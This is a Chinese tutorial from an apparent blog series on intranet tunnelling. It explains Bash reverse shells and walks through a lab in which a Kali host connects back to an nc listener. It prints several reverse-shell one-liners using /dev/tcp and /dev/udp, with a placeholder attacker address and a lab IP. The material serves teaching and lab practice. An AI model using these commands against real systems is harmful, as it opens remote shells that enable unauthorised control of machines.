内网隧道代理技术(七)之Bash反弹shell

news/2024/10/18 9:17:36/

Bash反弹shell

Bash介绍

Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell

Bash 反弹Shell的命令如下:

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

接下来,我们逐步分解,对这些参数进行详细介绍

“bash-i” 是指打开一个交互式的Shell

"&“符号用于区分文件和文件描述符,”>&“符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件,”>&“符号后面跟数字时表示后面的数字是文件描述符,不加”&“符号则会把后面的数字当成文件。数字"0”,“1”,"2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是指标准输出重定向, “2”是指错误输出重定向。

“/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。”>&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出

实验环境介绍

实验拓扑

在这里插入图片描述

机器名称IP机器
攻击机器192.168.41.130windows
服务器192.168.41.132kali

实验复现

攻击机器使用nc执行监听命令

#监听 TCP
nc64.exe -lvvp 9999 
#监听UDP
nc64.exe -lup 9999 

在这里插入图片描述

实验服务器执行连接命令

bash -i >&/dev/tcp/192.168.41.130/9999 0>&1

在这里插入图片描述

查看结果,发现我们成功得到目标服务器IP

在这里插入图片描述


http://www.ppmy.cn/news/572491.html

相关文章

html闪屏代码,JS闪屏代码,闪瞎你的眼睛

JS判断手机访问函数 函数is_mobile()手机端返回true,PC端返回false,根据返回值来判断时候是手机端访问,然后做相应的操作。 复制代码 代码如下: script function is_mobile() { var regex_match /(nokia|iphone|android|motorola|^mot-|soft…

Android闪屏页适配

Android闪屏页适配 首先,为了避免第一次打开出现白屏,所以应该自定义style,添加anroid:windowBackground属性。此属性下放了一张1080*1920的闪屏图片,会出现在不同尺寸的屏幕上闪屏图片被压缩的情况。 于是,我的解决方…

Egret部分低版本安卓手机闪屏

棋牌游戏,用的是renderMode:"canvas"模式.测试发现,在安卓5.0.1版本上会白色闪屏,就是打出一张牌或有图片变动,就会闪一下. 暂时解决办法是 首先index.html中的data-show-paint-rect设置为true, 修改引擎代码egret.js,注释掉下面的一行. for (var i 0; i < leng…

小功能⭐️Unity导出到手机后闪屏

文章目录 Q&#xff1a;Unity导出到手机后闪屏 A&#xff1a;原因之一&#xff1a;本次导出采用了Vuforia SDK&#xff0c;Vuforia 没有调ARCamera的初始位置&#xff0c;导致Camera部分在模型内部。因此&#xff0c;需要调整ARCamera的位置&#xff0c;使其不在物体内即可

android 闪屏引导,启动体验设计-闪屏,启动页,引导页

冷启动(cold start) 冷启动是指应用尚未运行&#xff0c;系统创建进程并初始化应用。 热启动是指应用已经运行但是在后台被挂起&#xff0c;从后台恢复应用。 冷启动时间稍微会长一点&#xff0c;在此期间可能会看到白屏或黑屏或感受到明显的启动延迟(背景设为透明) 解决方法是…

ios闪屏问题 vue_解决vue更新默认值时出现的闪屏问题

在Vue项目中&#xff0c;对于一个展示用户个人信息的页面。有以下需求&#xff0c;需要判断用户个人信息是否填充过&#xff0c;如果填充过&#xff0c;需要在页面中展示已填充项(未填充项不展示)&#xff1b;如果未填充过&#xff0c;需要在页面中显示另外一种元素(提示用“去…

jquery mobile 解决切换页面时,闪屏,白屏等问题

如果没有在meta标签内定义user-scalable属性的话&#xff0c;页面切换的时候&#xff0c;在手机端会出现闪屏或者白屏的情况。 所以需要在每个页面的meta标签内定义user-scalable的属性为 no &#xff0c;代码&#xff1a; <!DOCTYPE html> <html><head><…

php闪屏程序,节日闪屏的两种构成方式

> 摘要&#xff1a; 每逢节日到来&#xff0c;当你打开QQ浏览器&#xff0c;发现有什么不同吗?QQ浏览器已经悄悄的送出了节日的关怀&#xff0c;呈现在你眼前的是朴实而又温情的画面节日闪屏。她是浏览器和用户情感交流的窗口&#xff0c;也 每逢节日到来&#xff0c;当你打…